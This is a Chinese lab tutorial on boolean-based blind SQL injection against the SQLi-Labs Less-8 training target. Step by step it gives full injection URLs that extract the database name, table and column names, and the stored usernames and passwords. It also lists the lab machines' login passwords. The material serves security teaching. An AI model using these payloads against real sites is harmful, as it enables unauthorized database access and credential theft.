文章总结: 本文档详细讲解了基于布尔盲注的SQL注入实验。利用SQLi-Labs靶场Less-8关卡,通过length、substr和ascii函数,依据页面True或False的反馈,逐步猜解出库名security、表名emails及users等,最终获取用户凭证。该教程完整展示了手工盲注流程,对理解Web漏洞原理与提升渗透测试技能具有实操价值。 综合评分: 88 文章分类: WEB安全,渗透测试,漏洞POC
网安实验干货每日分享SQL注入-基于布尔的盲注-1229
原创
建哥聊安全
建哥聊安全
2025年12月29日 16:36 湖南
SQL注入-基于布尔的盲注
实验目的
了解布尔盲注技术的运用场景及条件,熟悉length()、substr()、ascii()等函数的用法,掌握基于布尔的盲注基本流程。
实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows 10
(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等
(3)登录账号密码:操作系统账号Administrator,密码Sangfor!7890
靶机:A-SQLi-Labs
(1)操作系统:CentOS 7
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境
(3)登录账号密码:操作系统账号root,密码Sangfor!7890
实验原理
(1)关于布尔盲注
某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
(2)一些功能函数的说明
length(str):返回字符串(str)的长度,以字节为单位。 substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定长度(len)的子串。 ascii(str):返回字符串(str)最左边字符的ASCII码。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-8为入口,利用基于布尔的盲注方式获取SQLi-Labs网站的登录用户名和密码。
1.访问SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-8。访问的URL为:
http://[靶机IP]/sqli-labs/Less-8/
(注意大小写)
登录后,根据网页提示,给定一个?id=1的参数,即:
http://[靶机IP]/sqli-labs/Less-8/?id=1
此时页面显示信息为You are in…,显示状态为True。
如果给定一个?id=-1的参数,即:
http://[靶机IP]/sqli-labs/Less-8/?id=-1
此时页面显示信息为空,显示状态为False。
可以继续给定不同的id参数进行尝试,发现页面的显示结果只有两种:True或False。由此可以判断,这是一种典型的布尔盲注场景!
说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入过程中用Hackbar插件来调整payload参数!
2.寻找注入点
分别使用以下3条payload寻找注入点及判断注入点的类型:
http://[靶机IP]/sqli-labs/Less-8/?id=1′
运行后页面显示为False!
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ‘1’=’1
运行后页面显示为True!
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ‘1’=’2
运行后页面显示为False!
由上述结果可以判断,网站存在字符型注入点。
3.盲猜网站当前所在数据库的库名长度
假设当前所在数据库的库名长度为N,尝试使用判断语句length(database())=M,不断变化M的值去猜测,如果M不等于N,页面应该显示为False;如果M等于N,页面应该显示为True。
例如执行如下payload:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and length(database())=7–+
显示结果为False,说明网站当前所在数据库的库名长度不是7个字符!
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and length(database())=8–+
显示结果为True,说明网站当前所在数据库的库名长度为8个字符!
4.盲猜网站当前所在数据库的库名字符串
本步骤通过逐个字母盲猜的方式进行。
假设库名字符串的第1个字母为a,那么条件判断语句 substr(库名字符串,1,1)=‘a’ 以及 ascii(substr(库名字符串,1,1))=97 返回的结果均应为True(小写字母a的ASCII码为97);
假设库名字符串的第2个字母为b,那么条件判断语句 substr(库名字符串,2,1))=‘b’ 以及 ascii(substr(库名字符串,2,1))=98 返回的结果均应为True(小写字母b的ASCII码为98);
…
以此类推。
猜测库名的第1个字母:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr(database(),1,1)=’s’–+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr(database(),1,1))=115–+
库名的第1个字母为s。
猜测库名的第2个字母:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr(database(),2,1)=’e’–+或
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr(database(),2,1))=101–+ 库名的第2个字母为e。
…
以此类推,最终得到的字符串结果为security。
5.盲猜数据库security的全部表名
(1)猜测第1张表的表名
猜测第1张表的表名的第1个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)=’e’–+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101–+
第1张表的表名的第1个字符为e。
猜测第1张表的表名的第2个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),2,1)=’m’–+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),2,1))=109–+
第1张表的表名的第2个字符为m。
…
以此类推,得到security库中的第1张表的名字为emails。
(2)猜测第2张表的表名
猜测第2张表的表名的第1个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1)=’r’–+
或http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1))=114–+
第2张表的表名的第1个字符为r。
猜测第2张表的表名的第2个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),2,1)=’e’–+
或http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),2,1))=101–+
第2张表的表名的第2个字符为e。
…
以此类推,得到security库中的第2张表的名字为referers。
依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中可能存放着网站用户的基本信息。
6.盲猜users表的全部字段名
(1)猜测第1个字段名
猜测第1个字段名的第1个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1)=’i’–+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1))=105–+
第1个字段名的第1个字符为i。
猜测第1个字段名的第2个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),2,1)=’d’–+
或http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),2,1))=100–+
第1个字段名的第2个字符为d。
…
以此类推,得到users表中的第1个字段名为id。
依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中所有字段名:id、username和password。
7.盲猜users表username和password字段的全部值
(1)猜测第1组数据
猜测第1组数据的第1个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),1,1)=’D’–+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),1,1))=68–+
第1组数据的第1个字符为D。
猜测第1组数据的第2个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),2,1)=’u’–+
或http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),2,1))=117–+
第1组数据的第2个字符为u。
…
以此类推,得到第1组数据为“Dump,Dump”。
注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),5,1)=’,’–+
或http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),5,1))=44–+
(2)猜测第2组数据
猜测第2组数据的第1个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select concat_ws(‘,’,username,password) from security.users limit 1,1),1,1)=’A’–+
或http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 1,1),1,1))=65–+
第2组数据的第1个字符为A。
猜测第2组数据的第2个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1′ and substr((select concat_ws(‘,’,username,password) from security.users limit 1,1),2,1)=’n’–+
或http://[靶机IP]/sqli-labs/Less-8/?id=1′ and ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 1,1),2,1))=110–+
第2组数据的第2个字符为n。
…
以此类推,得到第2组数据为“Angelina,I-kill-you”。
依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。 实验至此结束。
实验总结
本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,熟悉了length()、substr()等函数的用法,掌握了基于布尔的盲注方法和流程。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:建哥聊安全 建哥聊安全《网安实验干货每日分享SQL注入-基于布尔的盲注-1229》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论